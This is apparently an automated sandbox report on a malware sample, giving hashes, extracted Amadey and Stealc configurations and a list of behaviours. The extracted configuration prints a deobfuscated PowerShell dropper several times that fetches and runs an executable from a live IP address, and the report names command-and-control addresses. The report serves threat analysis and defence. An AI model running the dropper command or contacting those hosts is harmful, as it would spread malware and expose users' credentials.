General

  • Target

    84b3819705253e706e5ad1116a32bff8dc8f23aa355815486801bd2a22663446.exe

  • Size

    1.8MB

  • Sample

    250326-rx9r4aym15

  • MD5

    155557f5e69e2cf0af05029b9c80d4a1

  • SHA1

    e53704de709ccbddc75a3f2e3b854fc3a0d99c74

  • SHA256

    84b3819705253e706e5ad1116a32bff8dc8f23aa355815486801bd2a22663446

  • SHA512

    2c644539e33396d9127ace36a1f764bbc5a2a984562c86494ea3af30b8896a295e1cdd5faa4dd00b70e998e255b7ad36ccac1116636be02c84d1e374b1975db1

  • SSDEEP

    49152:70mBuV7OfF/Ybv9tTrNzvRuYnHlPKGPY:706uV0WL9tHjuspPY

Malware Config

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "XDSVAZCYSF9JZHVCOIN4MTVBZHSORBDJ.EXE"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "\\483d2fa8a0d53818306efeb32d3.exe"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain
1
006700e5a2ab05704bbb0c589b88924d

Extracted

Language
ps1
Deobfuscated
1
$d = $env:temp + "XNB0HXTWA7ENF0Z8JEJ3MUTI9BP4LEY2.EXE"
2
(new-object system.net.webclient).downloadfile("http://176.113.115.7/mine/random.exe", $d)
3
start-process $d
4
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Targets

    • Target

      84b3819705253e706e5ad1116a32bff8dc8f23aa355815486801bd2a22663446.exe

    • Size

      1.8MB

    • MD5

      155557f5e69e2cf0af05029b9c80d4a1

    • SHA1

      e53704de709ccbddc75a3f2e3b854fc3a0d99c74

    • SHA256

      84b3819705253e706e5ad1116a32bff8dc8f23aa355815486801bd2a22663446

    • SHA512

      2c644539e33396d9127ace36a1f764bbc5a2a984562c86494ea3af30b8896a295e1cdd5faa4dd00b70e998e255b7ad36ccac1116636be02c84d1e374b1975db1

    • SSDEEP

      49152:70mBuV7OfF/Ybv9tTrNzvRuYnHlPKGPY:706uV0WL9tHjuspPY

    • Amadey

      Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    • Amadey family

    • Detects Healer an antivirus disabler dropper

    • GCleaner

      GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    • Gcleaner family

    • Healer

      Healer an antivirus disabler dropper.

    • Healer family

    • Stealc

      Stealc is an infostealer written in C++.

    • Stealc family

    • Suspicious use of NtCreateUserProcessOtherParentProcess

    • Identifies VirtualBox via ACPI registry values (likely anti-VM)

    • Blocklisted process makes network request

    • Command and Scripting Interpreter: PowerShell

      Run Powershell and hide display window.

    • Command and Scripting Interpreter: PowerShell

      Using powershell.exe command.

    • Creates new service(s)

    • Downloads MZ/PE file

    • Drops file in Drivers directory

    • Possible privilege escalation attempt

    • Sets service image path in registry

    • Stops running service(s)

    • Uses browser remote debugging

      Can be used control the browser and steal sensitive information such as credentials and session cookies.

    • Checks BIOS information in registry

      BIOS information is often read in order to detect sandboxing environments.

    • Checks computer location settings

      Looks up country code configured in the registry, likely geofence.

    • Deletes itself

    • Event Triggered Execution: Component Object Model Hijacking

      Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    • Executes dropped EXE

    • Identifies Wine through registry keys

      Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    • Impair Defenses: Safe Mode Boot

    • Loads dropped DLL

    • Modifies file permissions

    • Reads user/profile data of local email clients

      Email clients store some user data on disk where infostealers will often target it.

    • Reads user/profile data of web browsers

      Infostealers often target stored browser data, which can include saved credentials etc.

    • Adds Run key to start application

    • Checks for any installed AV software in registry

    • Checks installed software on the system

      Looks up Uninstall key entries in the registry to enumerate software on the system.

    • Enumerates connected drives

      Attempts to read the root path of hard drives other than the default C: drive.

    • Writes to the Master Boot Record (MBR)

      Bootkits write to the MBR to gain persistence at a level below the operating system.

    • AutoIT Executable

      AutoIT scripts compiled to PE executables.

    • Boot or Logon Autostart Execution: Authentication Package

      Suspicious Windows Authentication Registry Modification.

    • Drops file in System32 directory

    • Enumerates processes with tasklist

    • Suspicious use of NtSetInformationThreadHideFromDebugger

    • Suspicious use of SetThreadContext

MITRE ATT&CK Enterprise v15

Tasks

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